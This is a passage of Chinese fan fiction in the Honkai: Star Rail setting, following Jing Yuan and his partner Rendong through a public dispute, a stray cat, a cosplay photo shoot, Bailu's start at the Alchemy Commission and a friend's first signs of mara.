她们两人无视的模样可让伏娆气炸了,指挥着爬起来的持明护卫就打算继续给她们一点颜色看看。
可是这里是长乐天啊,早就有人在起冲突的时候通知了云骑军。所以还没等伏娆动手,景元已经带着云骑来了。
“诸位有何冲突啊?”景元在外日常一副温朗笑颜,就算这里的冲突不该出现他,他也一副如常的样子,笑眯眯询问道。
“景元将军??”伏娆一脸惊愕,但瞬间就开始气焰高涨,手指着她们说:“这两人挟持龙女大人,还请大人把她们抓捕归案!!”
真不客气……忍冬眯着眼,唇边挂着对外的虚假笑意,瞟了伏娆一眼,转脸一脸正色地对景元说:“将军大人!我们不知道这孩子是龙女,只是看见这几人强制拉扯着这个孩子,以为是人口拐卖罢了!毕竟持明每年无故失踪的人很多,我们可是好心!”
气势铿锵,理直气壮,任不熟悉忍冬的人来看,都只能看出她满脸的正气:“再说了,如果这孩子真是龙女,那你们的态度也太
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怪了!不尊敬,只有满脸的不耐烦,还行使肢体暴力,不会是你们想害龙女,被我们破坏然后破防了吧?!”
好歹是舞弄笔杆子一百多年的行家了,忍冬要是能在口舌之间让人占便宜,她还不如直接洗洗睡了!
旁观着这里的人也下意识点头,一脸认同,就连景元身后跟着云骑过来的地衡司官吏也是一脸动容。
而焕蓝在一段时间的记忆冲击之后,情绪逐渐好转了起来。她放开了龙女,对不知为何无言的她说:“对不起哦~因为我姐姐也算得上被不安好心之人拐卖过,所以神经有点紧绷,反应大了点。小妹妹,你真的是龙女吗?叫什么啊?这些人你认识吗?”
忍冬暗地里赞赏地给了焕蓝一个眼神,眼神对视间,接下来的说辞就已确定了。
她们两人一唱一和,全然没给伏娆插话的间隙,就把这件事的性质给定了下来。
误会导致的见义勇为!多好听的名字!
伏娆气死了,嘴里不断加大音量喊着龙女大人。但她的龙女大人才不管她,她只是看着面前的焕蓝,一种陌生又不属于她的情绪在心里激荡:“我、我叫白露,三岁了!之后应该会在丹鼎司任职,姐姐、你、你们可以来那里找我玩!”
哇哦~这是倒戈吗?而且,三岁任职?这世界是越来越颠了啊……
忍冬看了焕蓝一眼,又悄悄去睨景元,眼神中好奇夹杂几分不爽。
至于不爽什么……呵!云上五骁之间的关系可~好~了~不就是因为白珩死亡,他们才开始分崩离析嘛。
这个想法不能说出来,甚至不能表现出来,这个实质更让忍冬心里多塞了一些怨气。
这件事就这般虎头蛇尾的结束了,焕蓝释然地看着白露跟着侍女走远的背影,在知道丹枫那两人做的事时挤压下的怒气和怨念总算散去了几分。
而将要离开的景元一脸笑吟吟地目送持明族的几人走远,转头就看着忍冬,从头发里掏出一只困倦的鸟儿,塞到了她手里:“让这个小家伙暂时陪着你吧,下班我就回来了~”
虽然没发现忍冬有什么不对劲,但一种莫名的直觉让景元做出了这个行动。
他手中的鸟儿是一只毛绒绒的团雀,两腮有着圆圆的红色羽毛,还有红色的鸟喙,黑色豆豆眼迷糊地看着忍冬,一副呆呆的模样,很可爱。
忍冬垂眼看着待在她手里不飞走的小鸟,手指控制不住地摸上了软乎乎的羽毛,一侧腮帮子鼓起来,闷闷地对景元说:“你去吧,我们要收摊回家了。”
一说话,忍冬低落的情绪就遮不住了,但她也不想遮掩了。又没有什么,她也没造成其他人的困扰,连自己生气都不可以吗?
景元微微叹气,轻轻勾了勾忍冬的小指:“我很快就回来了,到时候给你带热浮羊奶和貘貘卷,还有公司新出品的游戏碟,就你很想要的那个,别生气了~”
景元勾着她的手指轻晃着,声音温柔到显得软乎乎的。
忍冬别扭地点头答应了。
而焕蓝睁着死鱼眼,只想赶紧逃脱周围射过来的八卦视线。
真是风水轮流转,以往只有她这么看人的时候,谁知道有一天她也成为其他人八卦的一环了……这一切,都是景元的错!
焕蓝不忍把情绪对着忍冬去,只能恨恨瞪了一眼景元,眼不见为净地去收拾摊子了。
16. 猫
“你听说那件事了吗?!”
“是将军那件事对吧?!我、我一点都没想到啊……”
“嗨!我还不是!听到景元将军有女友了,我那个心啊,疼得厉害!”
“呜呜……就是说啊,虽然知道将军一定会有女友的,但真的发生还爆出来了,我、我还是很想哭啊……”
大街小巷,玉兆消息群和八卦头条,全是有关景元恋情的杂乱消息。虽然忍冬的身份没被爆出来,但那天景元勾着她小指的背影照片却流传在所有人眼前。
“真是宛如罗浮明星般的待遇……”
把手中的玉兆一扔,忍冬转头睨着在她对面摆弄着黑白棋子的景元,看他一脸岁月晴好,眼神犀利如刀,气冲冲质问:“那天你故意的?!”
蒲扇般的羽睫轻抬,温润的金眸疑惑:“嗯?”
忍冬瞪了人好一会儿,但那双金眸也维持着那般纯善看着她。
僵持不住了,忍冬无奈收回愤怒的表情,眉眼几分了然的轻快,轻笑着说:“我当时虽确实想到你那些故人有些吃味,但你这顺坡爬的动作也实在是太利落了吧?都没半分迟疑。”
啪嗒,指尖夹着的白玉棋子落在青石棋盘上,被爱人抱怨的智谋将军也轻笑回应说:“嗯?吃味?原来如此……怪不得那天无故有一股怒气冲景元而来,可吓煞我了~”
忍冬指尖捻起他刚落下的棋子,就这么当面救出了自己被围困的黑子,一脸摇头晃脑的不信任:“你这人,还在我面前摆谱。我到底跟你相处一百多年了,加上刚认识的那段时间,两百多年是有了的。你自称名字一般是在什么时候,我还能不清楚?又这般直白的敷衍我……”
“景元元~你的坏心眼在我这里是不管用的~”
在那枚白子被捻起之时,景元就那般笑看着,轻瞟过对面小狐狸尾巴翘起,也直白在他面前暴露自己一肚子坏水的忍冬,看她得意眯成月牙的眉眼,不急不慢地哦了一声,撑着头,又把一枚白子落到了原位。
“景元,你个坏家伙。”
忍冬瞪着那枚白子,蠢蠢欲动的手指被理智按下。她拉着唇角觑眼看向景元,直接当面端起装着黑子的棋罐,不停掏出黑子,直接像摆小石子一样,全部围住了景元的白子。
放下棋罐,她还高声宣布:“我赢了!所以你得答应我的条件!”
“忍冬冬~你这可算耍赖了~”景元唇角的笑意很灿烂,刻意的叠词带着几分作弄般的提醒,窝在他头顶的团雀也叽叽喳喳好似附和着。
“我不管!你为了自己的私欲公开在大庭广众下拉我的手,导致关系曝光,我现在都不能外出了!你陪我玩玩角色扮演怎么了?!”
“虽然我不怎么介意,但是!我跟焕蓝本来都约定好去参加罗浮本地将要举办的虚拟角色周边展了。因为你,我不能去了,你得赔我。”
忍冬试图让自己的声音显得激昂遗憾,但无奈死宅当久了,她对于外出活动的热情是一点儿都没有,半点演不出来。这些带着戏耍意图的胁迫话语说到最后,只余平板的木然。
但大概是她虎视眈眈的眼神太过热烈了吧,景元在知道她的意图的情况下,还是答应了。
感觉好像没什么底线啊……
指尖划过玉兆上各色的服装,她带着疑虑偷瞄着开始自己跟自己对弈的景元:“先说好啊,就算你再不喜欢我给你的衣服,都不许拒绝!”
“嗯……比如女仆装执事服?兽人元素?对了,还有你最新开的那本沙漠文化的连载小说里的金饰之类的?”
在玉兆上跟店家沟通金色胸链设计的对话戛然而止,忍冬眨巴着眼回看景元:“你还挺懂嘛~专门去查了?”
最开始只有一只的团雀家族壮大到了两只,一只窝在头顶,一只站在景元的肩上。景元指尖逗弄着它,随口回道:“不然我怎么知道忍冬小姐这些有口难言的爱好呢~”
“所以你能接受的对吧?那好,那全都定一套吧!”
打蛇随棍上,忍冬也很好的践行了这套行为准则。她扭过头无视景元欲言又止的脸,手指在玉兆上舞出了残影,同时跟好几家店铺预定了服装。当然,在满足自己眼睛的同时,她也不忘给自己准备一些新衣服。
毕竟她的旗袍都是一些老款式了,衣柜需要一些新鲜血液的注入了。
时间就这么流逝着,忍冬的看病小摊暂时歇业,在玉兆上挂了个时限看病直播,偶尔会帮人解决一些小麻烦。
直到她的衣服做好了送过来那天,忍冬拉着景元一起出门去拿。就在景元家的两个大石狮子脚边,一只幼小的猫咪蜷缩着,雪白的皮毛,老虎般的花纹,最让两人一怔的是,那双相似的蓝眼。
而更让忍冬诧异的是,这时候罗浮却下起了雪。
忍冬没怎么关注罗浮的天气设定过,毕竟她会出现的地方一定是温暖舒适的场所,雪花飘不进去。更别说她本身是丰饶,后天观念影响,她根本不喜欢在冬天外出。
所以双重诧异下,她只是直愣愣的看着。
小猫听到了他们的脚步声,往石狮子后胆怯地缩了缩。景元一怔,笑着蹲下了身,向它伸出了手。小猫就像感受到善意一样,猫猫祟祟地探头,抬着自己看起来软嫩嫩的脚掌,尾巴甩了甩,慢慢接近了景元。
在嗅了嗅他的指尖之后,小猫警惕的表现一转,眯着眼开始用脑袋蹭景元的手掌,发出呼噜呼噜的愉悦声。
忍冬就这么站着看他们互动,在景元示意她接近时,她也只是摇了摇头,拒绝了。
太像了,也太短寿了……
虽然忍冬自认没有被咪咪的离去影响太多,但如果要她继续接受一个注定将在她面前离开的生命,她想,还不如不开始。
而且,景元也不会收养这只小猫的。
果不其然,在逗弄完小猫,使它放松警惕之后,景元抱起这只猫咪,眼神示意忍冬跟着,走到了几百米转了一个拐角的家门口。
……焕蓝家。
他就这么当着忍冬的面把小猫放下了,然后敲门,不等开门,拉着忍冬转身
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就躲。一串行动行云流水,没有半分迟疑。
在带着忍冬躲起来注意那边时,他低头对忍冬轻轻地说:“这样就没关系了,如果你想摸小狸奴,可以直接来焕蓝这里。”
“你都不怕她不收养它吗?”忍冬虽然知道焕蓝其实也挺喜欢毛绒小动物的,但她不知道的是,景元居然可以这么理直气壮地把小猫丢给焕蓝养!就因为她不想再次体会离别?
“没事,她如果不可以,我还有些同事可以碰瓷。他们有好几个都住在附近。”
同事……是你的下属吧……
景元竖着食指抵在忍冬唇边,轻微按压下去。高出她唇瓣温度好几度的手指主人眉眼含笑地看着她,轻轻嘘了一声。
忍冬听话噤声,眼睛注视着景元的侧脸,耳朵听着门打开的声音。在焕蓝一连串的怪叫“捡到猫”和“它想跟我回家”中,心脏却控制不住地激烈跳动起来,脸颊也开始泛红。
等到小猫被焕蓝这个怪阿姨怪叫着抱进家门后,松了口气的景元一转眼,却对上了面带红晕,怔愣看着他的忍冬。
只看着他……
眼尾的小痣呆滞一瞬之后,随着眼周的肌肉运动微微闪动了起来,固定在了一个明目又带着几分温柔的角度。冷白的皮肤上也不自然地涌上了浅浅云霞,金眸水光潋滟,宛如撒了一把碎金。
“忍、忍冬,你别这么看我啊……”
无措的低音调无端显得几分娇媚,慌乱别过的金眸在忍冬看来都带了勾引的味道。虽然大约是她色心上头吧……
但、但谁叫他、他长得那么可口的!不是她的错!
“那个,景元啊……就是、我、我那些小说你看也看了,就没觉得我们之间缺了什么吗?”忍冬说着这话,却好像在沙漠中跋涉了几千里,眼睛在眼眶里转着圈,舌头不断舔抵着干涩唇瓣,喉间更是像塞了干燥的黄沙一般,又梗又噎。
景元不说话,只是一味涨红脸。
他不是不清楚他们两人相处更像是熟悉的家人,而不是爱人。但他得尊重忍冬的意愿,在她不想之前,他不想像急色之辈一般,提起这种图谋不轨的想法。
但果然只是想法……不然明明有过瞬间的心猿意马,但在忍冬真的表现出对他的这种渴望时,脑子却像在沸水中蒸腾一般,全是叫嚣的害燥和不敢相信。
“呜……”就在忍冬固执想要跟他对视的时候,景元实在受不住脸上逐渐上升的滚烫,一掌盖住了脸,半露的唇瓣难耐地发出一声泄气的弃音。
忍冬伸手使劲巴拉着景元盖在脸上的手掌,语气焦急地说:“我、我没馋你身子,只是、只是秀色可餐!我就想亲一下而已!你干嘛遮住脸,我们都交往一百多年了吧?!这些都没干过啊?!”
大概是他们拉扯的动静大了,景元敏锐听到周围好几户人家都传来了脚步声。他不得不放下手,一把捂住忍冬的嘴,在她双眼灼灼的视线中,声音艰涩地别过脸,说:“回去给你亲……”
“……先别闹了,你不是不想被关注吗?”
17. 角色扮演
景元不太记得他们是怎么回来的了。
朦胧记忆中,他只记得今天的雪很大,遇见了一只跟咪咪很像的狸奴,然后……
然后,一双他很喜欢、很熟悉的碧眼带着热切的渴望注视着他。
就像遇火的油,唰啦一下,燃起了剧烈的火焰,包裹了他全身,怎么也灭不下去。
跌跌撞撞被拉扯着签收了机巧鸟送到门口的好几个箱子,再被急切地推入门内,一切就像闪着雪花的屏幕,断裂而不真实。
直到……被一双素白手腕抵在了墙上。
身后的墙壁冰冷寒凉,身前紧挨着的人体散发着热气的馨香,一冷一热间,进退两难。
景元试图别开脸,但眼睛就像有自己的想法一样,移动不了半分,怔愣又固执地看着凑近的碧眼。
他想跟忍冬亲密接触吗?想,想得要疯了!
所以当这一切真的降临的时候,景元的第一反应却是质疑。
这是又一场梦境吗?
“低头。”忍冬带着命令意味的声音轻响在他的耳畔,轻柔的,急切的,带着直白渴求的……让他疯狂。
他低头了,倾泻的雪白发丝笼罩住身前的人,就像角落网织的蛛丝,等到了他期待的美味猎物。
就像轻触一朵柔软的花,这文化中带有隐秘意味的角落终于开放给了这对恋人。
或许是头脑中的激素作祟,连番鲁莽的举动却没有唤起疼痛的敏锐,被啃咬破皮的唇角渗出的血色不断被艳红的舌尖卷吞入肚腹,一时分不清谁才是这场狩猎的猎人。
但更或许……这里没有猎人。
分开的唇瓣带着酥麻的刺痛,忍冬伸指轻触了一下,便被瞬间剧烈的麻痒电得缩回了手。她嗔怪地抬眼打算瞪景元,但触及他唇角破开的一小道艳红口子却不自觉的心虚了起来,眼神打了个转,自然想松开手离开。
但被勾起的欲望却不能让他放任她离去,景元伸手勾着忍冬的手掌,纤长的中指轻柔地蹭了蹭她的掌心,指甲在这过程中刻意地刮过,带起一阵细微的痒意。
直勾勾的眼神,暗示、不,明示的动作,忍冬双眼瞪得大大的,直白询问他:“你是在勾引我?”
“可以是。”景元不想否认,但在他说话时,嘴角的血口又崩裂出一缕血丝。他没有在意,随意伸舌舔掉了。
这个动作又蛊惑到了忍冬,但是……舔完又流血了啊……
“不行,这道伤口虽然不大,但一直在流血,得止血!还有,我衣服都买回来了,你缠着我,是不是不想穿?不想履行约定?!”
忍冬急赤白脸地抢白道,强制把手抽了出来,转身就捡起被仓促扔到地上的快递纸箱,手速极快的撕开,掏出那些满足她兴趣的衣服,唰的展开挡在身前:“都、都来了,你这段时间的假期也快结束了,免得夜长梦多,现在就试穿吧……”
早先色心上头的时候没有反应,但在结束后,忍冬却后知后觉的开始羞耻。
那件黑白色调的长款女仆装挡住她的脸,但从她攥得紧绷的指节可以看出,嗯,害羞了……
景元的大脑清醒了过来,唇角溢出一声浅笑,扶着额角叹息:“好~免得夜长梦多~”
“要拍照吗?”景元还贴心询问道。
“……要。”忍冬把手慢慢放了下来,白面云霞地盯着景元:“你可别反悔啊。”
由于早早就加入了云骑军,景元从武之后一直装束齐全,遮挡着身上一切可能导致受伤的部位。因此,显得包裹严实。
但从他挥舞的阵刀【石火梦生】和胸膛起伏来看,身材绝对很好!
忍冬笃定着。
然而当景元真的穿着那身薄薄布料的女仆装,显露出手臂和小腿上结实的肌肉线条时,一种无声蔓延的违和感涌上了心头。
美……是美的,但……总感觉这位笑盈盈的女仆即将在遭受冒犯时挥舞碗大的拳头捶到她头上……
“是错觉吗?”忍冬满脸呆滞地寻求景元的回答。
景元笑眯眯地展开搭配着女仆装送过来的小巧折扇,只露出一双宛如狐眼般的狡猾双眸,含糊不清地说:“嗯?不知道哦~但如果是忍冬的话~可能会轻一点吧~”
“你这不还是会打吗?虽然我确实有些不合时宜的想法吧……”多看几眼就脱敏了的忍冬回神,难得为自己辩解了几句。但在说完,她就兴高采烈地拿出了一个小巧的相机,笑得牙不见眼,对景元喊道:“走走走!去院子里!那边光线好,还有很明艳的背景,绝对很出片!”
景元眉眼间涌上了几分无奈,笑着点了点头,跟在忍冬身后,脚步轻缓地走了出去。
还好忍冬特意跟店家说了搭配平跟,不然景元不敢想他将在迈步的时候出多大的岔子。毕竟轻摇慢晃,小腿凉凉啊……
走进院内,激动的忍冬没有发现什么,只是眼睛放光地四处扫视着好看的背景。
但跟出来的景元则是不动声色地瞟了一眼被铁链从内紧锁住的两扇大门。那铁链,还是军中制式,黑铁在明亮的天色下寒光闪烁。
刚下过雪,院内积了一些白色,走动间印下了一串脚印。
忍冬回头问景元:“你冷吗?冷的话就直接在室内拍好了。”
“唔,不怎么冷,但你还是想在室外拍吧?”
景元戳破了她的小心思,在忍冬目移时笑吟吟地注视着她:“尽管知道不合适甚至不对,但还是喜欢顺从自己心意遮掩自己的小心思啊~”
“没考虑到你冷对不起哦~但我就是想拍嘛~”在其他人面前,甚至在焕蓝面前,如果被揭穿了,忍冬依旧会嘴硬不改。
但在景元面前……大约是他真的做到了给她充实的安全感。所以,在这些年里,忍冬自己也渐渐发现不会在他面前遮掩自己的真实想法了。
她承认了。
“这边。”忍冬指了指青竹萦绕的红墙,示意景元过去。
景元小心提着裙摆,脚步慢吞吞移到了她指着的墙面前,转眼看着忍冬。
“抱胸,把折扇遮住脸,眼神看向镜头的方向高傲一点。”忍冬想拍一个傲气美人,毕竟女仆装跟这种气质的冲突最为剧烈,最好眼神中满是不屈,但在观者眼中展现的却是一种坚韧的强烈攀折欲。
景元乖乖听从她的指挥摆着动作,但眼神总是怎么也不对。
“你眼神也太温柔了,一点也没展现那种感觉,反而让人觉得你好像是自愿的。”忍冬摆弄着相机,看着景元有点苦恼。
“是吗?我在看谁
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呢?”又开始下雪了,飘飘悠悠,较之之前的雪一派轻缓。雪色温柔,但忍冬注意到看着自己的那双金眸更为温柔。
“……你在看我。”忍冬别别扭扭,视线擦过落在两人头顶的白雪,和恰好落在景元黑色眼睫上的一点雪色,她突然想起了仙舟的一句古语。
“他朝若是同淋雪,此生也算共白头……”#
“景元,我们这算不算白头偕老了?”
忍冬抛开此前的烦恼,展开手心,接住雪花,看它融化在体温中。她眼神晶亮地注视着景元,轻声问。
“算……也让我补全了你白发的样貌。”景元眼神更轻柔了,他扫过定格在青春样貌的少女眉眼,看着那头柔顺黑发上的那点白,也轻声回答。
就像不想惊动此时易碎的美梦,他们对彼此展现了最温柔的笑颜。
但心知肚明的是,他们都知道,仙舟人活到最后,绝对是一方看着另一方痛苦的异化,然后……亲自手刃。
接下来嘛,存活的那一方很大可能会在岁月中带着那点过去的美好,踏上爱人走过的路,也成为他人斩杀的丰饶孽物……
这是他们注定的结局。
“但我们不能因为不想看见结果的悲凉,就拒绝开始。”景元说。
“所以,”忍冬摇摇手中的相机,一脸搞怪的笑意:“也不能拒绝留下属于我们的痕迹啊~”
照完女仆装,忍冬拉着景元又继续换起了其他衣服,甚至有些根本算不上衣服……
“这就两根金链子吧……跟裸奔没什么区别……”景元指尖挑着一圈金光闪闪镶嵌着明艳宝石的项链跟臂环,眼神可疑地望向忍冬。
“还是有区别的。”忍冬翻出垫在项链跟臂环下的白布,真诚的递到景元面前:“这个,是包住下半身的。不算裸奔。”
“更何况家里就我跟你,我看算什么裸奔!”
言辞凿凿,理直气壮,就算景元无声凝视的死亡视线都没让忍冬退缩。
“对了对了~你会穿吗?要不要我帮……”砰!是打断她话的房门强制关闭声:“不用,我会。”
“哦,是吗……”忍冬搓掉关门带风时扇到脸上激起的冰凉,声音里带着明显的遗憾:“本来还怕你害羞,我叫店家搭了条华丽的轻纱来着,但看你那么迫不及待,想必是不需要了~”
忍冬总在这种符合喜好的场合放飞自我,尽管她知道,景元不是她可以随意欺负的对象,欺负之后总会在不经意间被他找回场子,惹得自己面红耳赤。
但很刺激啊!这种使坏时肾上腺素飙升的感觉!
吱——!
面前的门在她话音刚落时突然打开了,含笑的忍冬下意识看去,脸唰啦一下,直接通红,震动的瞳孔紧缩,头快速一扭,喉咙中发出赫赫之声。
“嗯~怎么不看我?这不是你喜欢的吗?”
景元简直气笑了,门关着就差直接上天,如她愿打开了却一脸不敢看。
“出息!刚才不还挑衅吗?怎么尾巴不翘了?”
“我是人,没有尾巴……”忍冬声音闷闷的,坚决不回头。
但景元生扳着她转头了。
看,还是不看,这是个问题……
紧闭双眼的忍冬坚韧道。
18. 龙女
这看与没看有什么区别……
从梦中浑噩醒来的忍冬无奈捂脸哀叹,身旁睡得迷迷糊糊的大白狮子半点不关心地伸手揽住她腰,头蹭过来靠着又睡了过去。
只余浑身燥热的忍冬一脸忍耐。
她瞟了一眼身旁睡得很熟的景元,半眼不敢多看,只怕大脑又自己想起那天的雪白风光,川山沟壑……和金照红果……
笃!
指骨敲击额头,想打断随着记忆复活的活色生香。但只一眼就记得那般牢靠,怎是这轻轻一敲就能敲散的呢?
“自作孽,不可活……”忍冬在午夜幽幽而叹,像一只幽怨的女鬼。
但女鬼在白天不得不变身体面人,笑着送景元去上班,然后……转头去长乐天就跟焕蓝坐着蛐蛐。
在她怨念念叨着的时候,神策府的景元接到了一条特殊申请。
焕蓝的舅舅和舅妈,罗浮商团的一员,白珩的父母,找上了景元。
“你们是说……想让持明龙女入职丹鼎司?”景元神色平静,眼神锐利的直视着这两位在他成长中客串过好多次的长辈,试图从他们的肢体语言中发现这个想法来源的蛛丝马迹。
“景元、将军,我们知道以我们的立场不适合,但、但是,白露她、她好歹算是那个孩子唯一还留下的一点痕迹了……”
白珩的父亲,素良,一个在景元记忆中严肃古板的狐人。
曾经因为白珩离经叛道的举动强势矫正,在白珩想去当飞行士时而跟她冷战……一个固执、严肃、对白珩的爱流露在细节处的仙舟典型古典狐人。
现在却在他面前泣不成声,嗓音破碎……
白珩的母亲,一个温婉、宠溺女儿的典雅女子,景元从没见过她这副性情之外的样子。但现在,她目露渴望,眉眼间全是祈求。
幼时的长辈来求自己,这件事令他心底很不适。
但……“白露不是白珩,这件事你们明白吗?”
该打碎的还是要打碎,作为得到过关怀的小辈、白珩的友人,他不能放任故友的父母被一个虚幻的假象牵扯一辈子。就算……疼痛难忍。
“白珩已经逝去了。而白露是一个新生的孩子,还是现任罗浮龙尊。更何况持明这些年在仙舟的境况如何,想必景元不用与二位深刻接触过的赘述了。”
“可、可那孩子不开心啊……”素良满眼迷茫地不断复述着这句话。但他嘴里的那孩子,到底是白珩,还是白露?景元不得而知。
他只知道,丹鼎司是罗浮上一处隐秘的地雷。虽在上任司鼎私自唤起丹恒记忆的时候借口清理过一遍了,但仍旧还有蟑螂在其中攀爬。
持明龙尊,【不朽】的后裔,对魔阴身抑制有好处的种族,他不相信不会有腐朽的老鬼伸手,想尝一尝失去爪牙的弱小龙女。
“还不到时候。”景元最后只能对这两位寄情于龙女的长辈这么说。
而时候是什么时候?
又过了十几年,罗浮在景元的治理下迎来了长久的安宁。且在智谋之名下,罗浮的民众和其他人都能预见罗浮未来几百年的平静。
“帝弓司命在上,感谢您成全我们小两口的愿望……”素良携着自己的妻子站在丹鼎司门口,眼含欣慰地望着那道古朴的大门。
两人脸色苍白,毛发枯槁,但那双明亮坚毅的眼睛无端让人注目。
他们看了丹鼎司很长时间,在里面的医士忍耐不住将要出门来迎时却决然转身而走,没有回头。
不久之后,白露被准许可以去往丹鼎司任职了。
忍冬虽由于一些原因没有进入丹鼎司,但她对它的关注是一直在的。而白露,也是她关注的对象之一。
这一幕,在景元跟她说过之后,她这十几年一直在暗暗留意,终于见证了这一场诀别。
忍冬不知道他们是怎么认识白露的,又是以什么心情看待白露的。但现在她看着那对失去女儿两百多年的狐人夫妻相携着走向稀疏无人的街道,跟他们身上逐渐显露结束征兆的举止……忍冬知道,她不会继续关注了。
终归会过去的……
之后,忍冬没再关注丹鼎司了。
直到……焕蓝邀着她,神神秘秘的拉着她走到了丹鼎司门口。
“啊!焕蓝姐姐!这里这里!”定格在八九岁孩童样貌的龙女兴高采烈地对她们挥手,小短腿捣腾飞快,唰啦一下就闪现到了她们眼前,抱住了焕蓝的腿。
她抬头,一双晶亮的大眼睛扑闪扑闪,小巧的龙角光滑圆润,期待地问焕蓝:“可不可以再带我去长乐天啊?去金人巷也可以!我还有好多点心没有尝过欸~”
“龙女大人!”一声在忍冬听起来也有点耳熟的声音炸响在耳畔,她循声望去,果不其然,又是老熟人,是第一次见到白露时遇见的那位持明侍女,伏娆。
她看见她们两人,脸色大变,小跑过来就想把白露拉出焕蓝的怀抱。
但焕蓝眼一瞪,忍冬也抱着手臂站在她身后给她撑腰,一派恶人气势自然而成。
“你又拉拉扯扯的,看来上次没给够你教训啊!”焕蓝又开始摸腰了,但白露眼疾手快按住了她,尴尬的笑哈哈说:“不、不要打架嘛~”
“你还想打我?!龙女大人!你看她!”伏娆见白露阻止了焕蓝,气焰立马又开始上涨,趾高气昂的叉着腰。
但焕蓝根本不理她,只是把白露轻推到忍冬面前,笑着说:“你还记得这孩子吧,她叫白露。今天我做东,给你俩拉根线,交个朋友吧。”
伏娆又跳脚了,手指着忍冬一脸不可置信:“这人谁?!有什么资格当龙女大人的朋友?!”
啊……忘记她了啊……
忍冬眼神探究地看着她们,不过主要是看焕蓝:“你为什么要让我跟白露交朋友?有什么深意吗?”
“没怎么,只是交个朋友而已。”焕蓝满不在乎地挥挥手,一脸平常模样。
“可你之前也没有强迫过我拓展社交圈,怎么到白露就例外了?”
虽然这话在她们两人以外的人听来,有一股嫉妒白露的意味,但忍冬知道焕蓝能明白她的意思。同样,她也需要焕蓝给她一个解释。
“嗯……你就当我突然想开了吧~小忍冬~快来打个招呼~”焕蓝眼中闪过一抹黯然,又在瞬间振奋起来,眉开眼笑地拉着忍冬站到了白露面前:“小白露~这是忍冬~我最
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好的朋友~那次她也在哦~”
忍冬被焕蓝突如其来的举动打得懵然,顺着焕蓝的力道就矮下了身,跟白露面面相觑:“你好……”
“你好……”
白露回应也较为怯懦,小手紧抓着焕蓝的衣裙下摆,只时不时偷看忍冬一眼。
焕蓝爽朗地拍打着两人的肩,有种用力过度的感觉,笑嘻嘻地说:“别这么拘束嘛!都是朋友!”
……这就都是朋友了?
忍冬虽然不清楚焕蓝在打什么哑谜,但还是开启了社交模式,主动跟白露说起了话:“白露,你想去哪儿?工作不要紧吗?”
“嗯……想去喝仙人快乐茶,还想吃琼实鸟串……工作的话,我已经下班了!”白露扳着手指数着惦念的甜食,嘴角裂开了垂涎的弧度,一脸活泼。
看白露这副小孩贪吃的模样,忍冬一直提着的心气突然卸下了,唇角挂上了柔和的笑意。
白露,果然是个孩子啊……
之后,焕蓝时不时就会约着她们两人一起外出觅食。相处之下,两人也渐渐熟悉了起来。
“忍冬~上班好累啊~可不上班就不能出来!我是龙,不是鱼缸里的鱼吧?”
焕蓝在一旁招呼着来买小说的客人,白露就像一团史莱姆一样软趴趴地趴在忍冬怀里,满脸郁闷的询问。
忍冬悠闲喝着茶,很有闲情雅致地翻看着从焕蓝的小推车上拿下来的一本小说,目不离书说:“我们白露当然是龙啦~只是现在太小了,还没办法让你一个人外出啊~毕竟就算是仙舟,坏人也很多呢~”
“可,真有必要把我看得那么严吗……”白露虽然还未明白忍冬他们嘴里的坏人指哪些,但作为持明,还是一个生长停滞的持明,她确实在出来的这段时间感受到了一些恶意视线。
但就算是这样,她还是心痒难耐,非常想……唔,自由飞翔?是这个意思吧?
“我很想在什么时候想吃甜食就吃甜食,想逛街就逛街,还想去天空和其他星球……但我知道不行……”
小小的持明女孩,虽有龙尊之名,但却是囚困之实。这漫长的一生,她真的能保持住性情中的开朗热情,不在某一天像丹枫一样被压垮吗?
忍冬不知道,也无能为力。
她能做的,仅仅是在这个小小的朋友沮丧时摸摸她的头,对她说:“过会儿去喝仙人快乐茶吧~好像出新口味了。”
她想,她约莫是知道焕蓝的意思了。
人一出生,便是独自一人,此后相遇,也总要分别。
……她的朋友担心,如果她遇见不得不离开的意外,只有她一个朋友的忍冬,会变得孤零零一人。
送走小摊面前的客人,焕蓝若有所感地回头望向忍冬,看着她眼神里的伤感,她却温柔的笑了。
“走!去不夜侯!我请客!”
我的朋友,别太伤心啊,虽然我预感到了离别,但至少直到离开之前,我都在。
景元是个很好的人,但大约是作为你最亲近的朋友,我总是不能相信你们的感情。
所以我想,你得有很多新朋友。那样如果我离开,你陷入任何困难,会有更多的选择。
19. 狐人
忍冬的时间不是过得太快,就是太慢。快到好似一瞬间,她就见到了姥姥,然后姥姥离去;慢到好似几百年,她跟景元还在感情中拉拉扯扯。
因为这些事带给她的情绪,所以她很难理清到底过去了多久。
……直到,焕蓝开始出现魔阴身的征兆。
在焕蓝亲手促使忍冬跟白露两人外出玩耍了几次后,忍冬感觉到了不对劲。
这天,她心血来潮,没什么征兆就突袭了焕蓝家。
焕蓝家的装修风格跟忍冬的小院子很像,白墙黑瓦。但跟她家稀落的花木不同的是,焕蓝的庭院内栽种着繁茂的绿植。
一株株的整体形状就像花朵,叶片厚实,挤挤挨挨的生长在长条形的花坛中,颜色多是青绿,但也有艳丽的红色、粉色。
“真漂亮啊……”一种绚烂的童话风,是忍冬很少在罗浮上见到的景色。
“我为什么没想过来她家呢……”她为什么没想过来找焕蓝呢……
忍冬对自己的评价虽然倾向于冷漠、虚伪之类的贬义词,但绝对没有漠视。
“可我一直在漠视焕蓝对我的付出……”
少年时,她总想鼓起一口劲,让自己尽快成长,脱离让她依赖又让她厌恶的父亲。因为他的漠视,她下定决心,绝不会成为跟他一样的人。
“但总是一样……”
敏感又羞耻的心脏被这个突然揭开的事实重击了,忍冬难以接受自己跟那个男人有着一样的品质。
睁着自己空茫茫的眼就打算转身离开。
……可,屋内却传来了一声重物落地的沉闷声音。接着,是好似四肢在地上挣扎的细碎声音。
是人体,但焕蓝是一个人住的……
在忍冬思考清楚之前,她的身体就已经冲入了房间里,循着声,抱起了倒在地上无力挣扎的焕蓝。
那双以往琥珀色的清亮眼睛,在一片混沌的喜怒交替中,不时闪现惊醒的痛苦,垂下的手脚也软绵无力耷拉着。
忍冬把她抱到了床榻上,在快速察看了她的身体状况后,立刻往她体内输入了自己的丰饶之力。
镇定与治愈,忍冬代表丰饶生机的能力,加上是冰系,镇定在这个能力中更是占据了主位。
“还好、还好在景元面前过了明路,他也帮我注册了相关的专利,不然后面我都不知道该怎么帮你了……”
伸手搭着焕蓝的手腕,源源不断的新绿带着一丝幽蓝从忍冬手中脱离而去,注入焕蓝浑噩的身体里。
